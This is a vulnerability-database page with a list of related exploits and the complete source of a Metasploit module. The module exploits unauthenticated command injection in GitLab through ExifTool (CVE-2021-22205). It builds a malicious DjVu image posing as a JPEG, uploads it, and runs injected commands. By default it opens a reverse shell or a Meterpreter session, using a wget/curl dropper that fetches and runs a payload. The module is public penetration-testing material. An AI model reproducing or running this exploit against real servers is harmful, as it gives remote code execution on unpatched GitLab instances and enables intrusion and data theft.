| Reporter | Title | Published | Views | Family All 170 |
|---|---|---|---|---|
| Exploit for Code Injection in Exiftool_Project Exiftool | 3 May 202216:36 | – | githubexploit | |
| Exploit for Code Injection in Gitlab | 5 Jun 202115:42 | – | githubexploit | |
| Exploit for Code Injection in Exiftool_Project Exiftool | 2 Aug 202109:11 | – | githubexploit | |
| Exploit for Code Injection in Exiftool_Project Exiftool | 27 Oct 202515:59 | – | githubexploit | |
| Exploit for Code Injection in Gitlab | 30 Oct 202111:54 | – | githubexploit | |
| Exploit for Code Injection in Gitlab | 29 Oct 202104:15 | – | githubexploit | |
| Exploit for Code Injection in Gitlab | 9 Nov 202118:19 | – | githubexploit | |
| Exploit for Code Injection in Exiftool_Project Exiftool | 29 Dec 202113:41 | – | githubexploit | |
| Exploit for Code Injection in Exiftool_Project Exiftool | 14 May 202303:43 | – | githubexploit | |
| Exploit for Code Injection in Exiftool_Project Exiftool | 4 Nov 202114:31 | – | githubexploit |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLab Unauthenticated Remote ExifTool Command Injection',
'Description' => %q{
This module exploits an unauthenticated file upload and command
injection vulnerability in GitLab Community Edition (CE) and
Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6,
and 13.8.8.
Exploitation will result in command execution as the git user.
},
'License' => MSF_LICENSE,
'Author' => [
'William Bowling', # Vulnerability discovery and CVE-2021-22204 PoC
'jbaines-r7' # Metasploit module
],
'References' => [
[ 'CVE', '2021-22205' ], # GitLab
[ 'CVE', '2021-22204' ], # ExifTool
[ 'URL', 'https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/' ],
[ 'URL', 'https://hackerone.com/reports/1154542' ],
[ 'URL', 'https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis' ],
[ 'URL', 'https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/' ]
],
'DisclosureDate' => '2021-04-14',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'Space' => 290,
'DisableNops' => true,
'BadChars' => '#'
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'wget', 'lwprequest', 'curl', 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def upload_file(file_data, timeout = 20)
random_filename = "#{rand_text_alphanumeric(6..12)}.jpg"
multipart_form = Rex::MIME::Message.new
multipart_form.add_part(
file_data,
'image/jpeg',
'binary',
"form-data; name=\"file\"; filename=\"#{random_filename}\""
)
random_uri = normalize_uri(target_uri.path, rand_text_alphanumeric(6..12))
print_status("Uploading #{random_filename} to #{random_uri}")
send_request_cgi({
'method' => 'POST',
'uri' => random_uri,
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'data' => multipart_form.to_s
}, timeout)
end
def check
# Checks if the instance is a GitLab install by looking for the
# 'About GitLab' footer or a password redirect. If that's successful
# a bogus jpg image is uploaded to a bogus URI. The patched versions
# should never send the bad image to ExifTool, resulting in a 404.
# The unpatched versions should feed the image to the vulnerable
# ExifTool, resulting in a 422 error message.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/users/sign_in')
})
unless res
return CheckCode::Unknown('Target did not respond to check.')
end
# handle two cases. First a normal install will respond with HTTP 200.
# Second, if the root password hasn't been set yet then this will
# redirect to the password reset page.
unless (res.code == 200 && res.body.include?('>About GitLab<')) ||
(res.code == 302 && res.body.include?('/users/password/edit?reset_password_token'))
return CheckCode::Safe('Not a GitLab web interface')
end
res = upload_file(rand_text_alphanumeric(6..32))
unless res
return CheckCode::Detected('The target did not respond to the upload request.')
end
case res.code
when 422
if res.body.include?('The change you requested was rejected.')
return CheckCode::Vulnerable('The error response indicates ExifTool was executed.')
end
when 404
if res.body.include?('The page could not be found')
return CheckCode::Safe('The error response indicates ExifTool was not run.')
end
end
return CheckCode::Detected
end
def execute_command(cmd, _opts = {})
# printf needs all '\' to be double escaped due to ExifTool parsing
if cmd.start_with?('printf ')
cmd = cmd.gsub('\\', '\\\\\\')
end
# header and trailer are taken from William Bowling's echo_vakzz.jpg from their original h1 disclosure.
# The 'cmd' variable is sandwiched in a qx## function.
payload_header = "AT&TFORM\x00\x00\x03\xAFDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00"\
"\x00\xAC\xFF\xFF\xDE\xBF\x99 !\xC8\x91N\xEB\f\a\x1F\xD2\xDA\x88\xE8k\xE6D\x0F,q\x02\xEEI\xD3n"\
"\x95\xBD\xA2\xC3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\b\x00\b\x18\x00d\x00\x16\x00IN"\
"CL\x00\x00\x00\x0Fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\b\x00\b\x8A\xE6\xE1"\
"\xB17\xD9\x7F*\x89\x00BG44\x00\x00\x00\x04\x01\x0F\xF9\x9FBG44\x00\x00\x00\x02\x02\nFORM\x00\x00"\
"\x03\aDJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx#"
payload_trailer = "# . \\\x0a\" b \") )" + (' ' * 421)
res = upload_file(payload_header + cmd + payload_trailer, 5)
# Successful exploitation can result in no response (connection being held open by a reverse shell)
# or, if the command executes immediately, a response with a 422.
if res && res.code != 422
fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")
end
print_good('Exploit successfully executed.')
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# payload is truncated by exiftool after 290 bytes. Because we need to
# expand the printf flavor by a potential factor of 2, halve the linemax.
execute_cmdstager(linemax: 144)
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation